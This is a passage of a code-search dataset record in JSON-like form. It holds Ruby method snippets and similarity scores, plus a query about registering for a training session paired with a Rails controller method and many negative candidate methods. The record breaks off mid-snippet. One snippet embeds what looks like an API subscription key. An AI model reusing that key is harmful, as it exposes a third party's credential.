"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Only allow a list of trusted parameters through.
|
def slide_params
params.require(:slide).permit(:score, :user_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowed_params\n ALLOWED_PARAMS\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_whitelist\n [:role, :title]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def allow_params_authentication!; end",
"def whitelisted_args\n args.select &:allowed\n end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def safe_list_sanitizer; end",
"def filtered_parameters; end",
"def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def expected_permitted_parameter_names; end",
"def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_list_sanitizer=(_arg0); end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def check_params; true; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def allowed?(*_)\n true\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end",
"def valid_params?; end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def url_allowlist=(_arg0); end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def list_params\n params.permit(:list_name)\n end",
"def valid_params_request?; end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end",
"def safelists; end",
"def authorize_own_lists\n authorize_lists current_user.lists\n end",
"def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end",
"def lists_params\n params.require(:list).permit(:name)\n\n end",
"def list_params\n params.require(:list).permit(:name, :user_id)\n end",
"def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end",
"def check_params\n true\n end",
"def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end",
"def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend",
"def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def whitelist; end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.permit(:name)\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end",
"def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end",
"def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end",
"def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def permitted_params\n []\n end",
"def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end",
"def params(list)\n @declared_params = list\n end",
"def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end",
"def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end",
"def allow(ids); end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"def list_params\n params.require(:list).permit(:name)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end",
"def safelist; end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def valid_for_params_auth?; end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def shopping_list_params\n params.require(:shopping_list).permit!\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def permitters\n @_parametrizr_permitters || {}\n end",
"def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end",
"def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end",
"def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end",
"def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end",
"def url_allowlist; end",
"def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end",
"def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end",
"def quote_params\n params.permit!\n end"
] |
[
"0.69497335",
"0.6812623",
"0.6803639",
"0.6795365",
"0.67448795",
"0.67399913",
"0.6526815",
"0.6518771",
"0.64931697",
"0.6430388",
"0.6430388",
"0.6430388",
"0.63983387",
"0.6356042",
"0.63535863",
"0.63464934",
"0.63444513",
"0.6337208",
"0.6326454",
"0.6326454",
"0.6326454",
"0.63140553",
"0.6299814",
"0.62642586",
"0.626006",
"0.62578833",
"0.6236823",
"0.6227561",
"0.6221758",
"0.62200165",
"0.620879",
"0.61983657",
"0.6195055",
"0.6172993",
"0.6156856",
"0.61558664",
"0.61521494",
"0.6135789",
"0.6121145",
"0.61118174",
"0.60736513",
"0.6071645",
"0.60632104",
"0.60549796",
"0.6043906",
"0.6034662",
"0.60207325",
"0.6018568",
"0.6016575",
"0.60103434",
"0.60084206",
"0.600763",
"0.6007443",
"0.6003619",
"0.6003619",
"0.5995791",
"0.5993301",
"0.5993231",
"0.5984926",
"0.597122",
"0.5968121",
"0.5965808",
"0.59640145",
"0.59632224",
"0.59602356",
"0.59332967",
"0.5927556",
"0.5922805",
"0.5909745",
"0.5905083",
"0.5904304",
"0.5893434",
"0.58888215",
"0.58823985",
"0.58823985",
"0.58823985",
"0.5873434",
"0.58619875",
"0.58533794",
"0.5845531",
"0.58426666",
"0.58360124",
"0.583218",
"0.5828041",
"0.5827927",
"0.5816121",
"0.5814705",
"0.5812719",
"0.581121",
"0.5803423",
"0.5803423",
"0.57995003",
"0.5794207",
"0.5784923",
"0.5781365",
"0.5776385",
"0.5774859",
"0.57671493",
"0.5766998",
"0.57618684",
"0.5758038"
] |
0.0
|
-1
|
Custom method to register to attend a training session
|
def attend
user_id = current_user.id
training_id = params[:id]
TrainingRecord.create_new_record user_id, training_id
redirect_to @training, notice: "You have successfully registered for #{@training.title}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def configure_training_session\n available_ledgers :training_session\n set_training_session\n end",
"def set_training_session\n @training_session = TrainingSession.find(params[:training_session_id])\n end",
"def configure_training_request\n available_ledgers :training_request\n set_training_request\n end",
"def spe_training\n\tend",
"def train\n raise NotImplementedError\n end",
"def add_train(train)\n trains << train\n end",
"def register_session(session)\n # Register the session with the framework\n framework.sessions.register(session)\n\n # Call the handler's on_session() method\n if session.respond_to?(:bootstrap)\n session.bootstrap(datastore, self)\n else\n # Process the auto-run scripts for this session\n if session.respond_to?(:process_autoruns)\n session.process_autoruns(datastore)\n end\n on_session(session)\n end\n\n # If there is an exploit associated with this payload, then let's notify\n # anyone who is interested that this exploit succeeded\n if assoc_exploit\n framework.events.on_exploit_success(assoc_exploit, session)\n end\n\n # Notify waiters that they should be ready to rock\n session_waiter_event.notify(session)\n\n # Decrement the pending connections counter now that we've processed\n # one session.\n self.pending_connections -= 1\n\n # Count the number of sessions we have registered\n self.sessions += 1\n end",
"def train\n super\n puts \"#{@role} #{@last_name} supports the team during the training\"\n end",
"def training_session_params\n params.require(:training_session)\n .permit(:q, :title, :description, :min_group_size, :max_group_size,\n :start_date, :url, :duration_in_minutes, :compensation,\n :compensation_delivered, :session_type, :course_id,\n :published, :class_location_id, instructor_ids: [], instructors_attributes: [:id])\n end",
"def set_training_session\n @training_session = TrainingSession.where(\"id = ? AND user_id = ? AND open = ?\", params[:id], current_user.id, false)[0]\n end",
"def create\n @training_session = TrainingSession.new(params[:training_session])\n\n respond_to do |format|\n if @training_session.save\n format.html { redirect_to @training_session, notice: 'Training session was successfully created.' }\n format.json { render json: @training_session, status: :created, location: @training_session }\n else\n format.html { render action: \"new\" }\n format.json { render json: @training_session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def train\n training = @prediction.trainedmodels.insert.request_schema.new\n training.id = 'emotion_prediction_id'\n training.storage_data_location = DATA_OBJECT\n result = @client.execute(\n :api_method => @prediction.trainedmodels.insert,\n :headers => {'Content-Type' => 'application/json'},\n :body_object => training\n )\n\n assemble_json_body(result)\n end",
"def set_training_method\n @training_method = TrainingMethod.find(params[:id])\n end",
"def session_begin(cred, mode)\n #This is a stub, used for indexing\n end",
"def create\n\n @training_session = TrainingSession.find enrollment_params[:training_session_id]\n if @training_session.full?\n respond_to do |format|\n format.html {redirect_to @training_session, notice: 'This training session is already full'}\n format.json {render @training_session, notice: 'This training session is already full'}\n end\n else\n @enrollment = Enrollment.new(enrollment_params)\n respond_to do |format|\n if @enrollment.valid?\n add_attendee(event_id: @enrollment.training_session.google_calendar_event_id, attendee: Google::Apis::CalendarV3::EventAttendee.new(email: @enrollment.user.email))\n if @enrollment.save\n format.html { redirect_to @enrollment.training_session, notice: 'Enrollment Successful' }\n format.json { render @enrollment.training_session, status: :created, location: @training_session }\n else\n format.html { redirect_to training_sessions_path, notice: @enrollment.errors}\n format.json { render json: @enrollment.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to training_sessions_path, notice: @enrollment.errors}\n format.json { render json: @enrollment.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def add_train(train)\n @trains << train\n end",
"def set_training\n @training = student.trainings.build\n end",
"def new_trainer\n\tend",
"def create_session\n raise NotImplementedError\n end",
"def set_session\n \n end",
"def set_training_session\n @training_session = TrainingSession\n .includes(:general_ledgers, :instructors,\n :class_location)\n .includes(general_ledgers:\n %i[financial_account ledger_category])\n .includes(enrollments: [\n { session_rating: :user },\n :user\n ])\n .find(params[:id])\n end",
"def set_training\n @training = Training.find(1)\n end",
"def create\n @trainingsession = Trainingsession.new(params[:trainingsession])\n\n respond_to do |format|\n if @trainingsession.save\n flash[:notice] = 'Trainingsession was successfully created.'\n format.html { redirect_to(@trainingsession) }\n format.xml { render :xml => @trainingsession, :status => :created, :location => @trainingsession }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @trainingsession.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @training = Training.create(training_params)\n # @training = Training.new(training_params)\n # @training.subscribe(Admission.new)\n # @training.commit\n flash.now[:message] = 'Training was successfully created.'\n end",
"def save_session(session)\n \n end",
"def create\n @training = training_class.new(params[training_param])\n @training.user = current_user\n\n respond_to do |format|\n if @training.save\n format.html { redirect_to @training, notice: 'Debate training was successfully created.' }\n format.json { render json: @training, status: :created, location: @training }\n else\n format.html { render action: \"new\" }\n format.json { render json: @training.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_training\r\n @training = Training.find(params[:training_id])\r\n end",
"def setup_eds_session(session)\n return if session['eds_session_token'].present?\n\n session['eds_guest'] = !on_campus_or_su_affiliated_user?\n\n session['eds_session_token'] = Eds::Session.new(\n guest: session['eds_guest'],\n caller: 'new-session'\n ).session_token\n\n if current_user\n Honeybadger.add_breadcrumb('Established EDS session', metadata: {\n eds_guest: session['eds_guest'],\n eds_session_token: session['eds_session_token'],\n request_ip: request.remote_ip,\n affiliations: current_user.affiliations\n })\n end\n end",
"def create\n @trainings_session = TrainingsSession.new(params[:trainings_session])\n\t\t@trainings_session.owner = current_user if current_user\n\t\t@my_exercises = Exercise.liked_by(current_user.id).published\n\t\t\t.concat(Exercise.owned_by(current_user.id).published)\n\t\t\t.concat(Exercise.owned_by(current_user.id).unpublished)\n\n respond_to do |format|\n if @trainings_session.save\n format.html { redirect_to my_sessions_path, notice: 'Trainings session was successfully created.' }\n format.json { render json: @trainings_session, status: :created, location: @trainings_session }\n\t\t\t\tformat.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @trainings_session.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js { render action: \"new\"}\n end\n end\n end",
"def register\n \n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def set_training\n @training = Training.find(params[:id])\n end",
"def start_session\n generate_token(:token)\n setup_session\n update_last_session\n end",
"def add_session(session)\n iter = @model.append\n iter[ID_SESSION] = session.sid.to_s\n iter[PEER] = session.tunnel_peer\n iter[TYPE] = session.type ? session.type : nil\n #iter[PAYLOAD] = session.via_payload ? session.via_payload : nil\n iter[O_SESSION] = session\n iter[O_BUFFER] = nil\n end",
"def create\n @training_session = TrainingSession.new(training_session_params)\n respond_to do |format|\n if @training_session.valid?\n @training_session.google_calendar_event_id = create_event(\n start_date: @training_session.start_date,\n end_date: @training_session.end_date,\n summary: @training_session.summary )\n @training_session.google_calendar_id = ENV['CALENDAR_EMAIL']\n if @training_session.save\n format.html { redirect_to @training_session, notice: 'Training session was successfully created.' }\n format.json { render :show, status: :created, location: @training_session }\n else\n format.html { render :new }\n format.json { render json: @training_session.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :new }\n format.json { render json: @training_session.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n #Suficiente con el set_training en el before_action\n end",
"def setup\n @current_session = new_session\n end",
"def register\r\n \r\n end",
"def set_training\r\n @training = Training.find(params[:id])\r\n end",
"def enrollment\n \n connection =\n HTTParty.post('https://eastus.api.cognitive.microsoft.com/speaker/identification/v2.0/text-independent/profiles',\n :body => JSON.generate(\"locale\": 'en-us'),\n :headers => { 'Content-Type' => 'application/json',\n 'Ocp-Apim-Subscription-Key' => \"3c43bca9ad884fe39518a5cf3925e707\" })\n @parsed = JSON.parse(connection.body)\n create_DB_profile();\n create_profile();\n redirect_to ('/speech')\n end",
"def set_session\n @session = FitnessSession.find(params[:id])\n end",
"def registrants(training)\n Namespace::Registrants.new(credentials: credentials, training: training)\n end",
"def reg_participants\n puts \"#{self.thread_name} engine particpant setup\"\n # SETUP MUST BE CALLED.\n # ANY exceptions or errors in the participants aborts the workflow and are hard to find. YOU HAVE BEEN WARNED\n self.wfe_engine.register_participant :setup do |workitem|\n puts \"------> setup got a workitem...\" if @debug\n target = ['scott.sproule@cure.com.ph', 'jan.ardosa@cure.com.ph']\n workitem.sms_source = \"992\"\n workitem.my_hostname = Socket.gethostname \n workitem.sms_message = \"no message\"\n workitem.email_target = target\n # workitem.email_from = \"scott.sproule@cure.com.ph\"\n workitem.workflow_status = \"false\"\n workitem.process_result = \"false\"\n workitem.final_response=\"failure\"\n puts \"<------- end of setup\" if @debug\n end\n # self.wfe_engine.register_participant( \n # 'bal_transfer', \n # OpenWFE::Extras::ActiveStoreParticipant.new('bal_transfer\n#self.wfe_engine.register_participant :bal_transfer do |workitem|\n# puts \"bal_transfer got a workitem...\"\n# workitem.particpant = 'bal_transfer'\n# workitem.store = 'bal_transfer'\n# workitem.save\n#end\n#FIX LATER\n s=%w(bal_transfer pasaload dispense_pin dealer_load load process2 )\n s.each 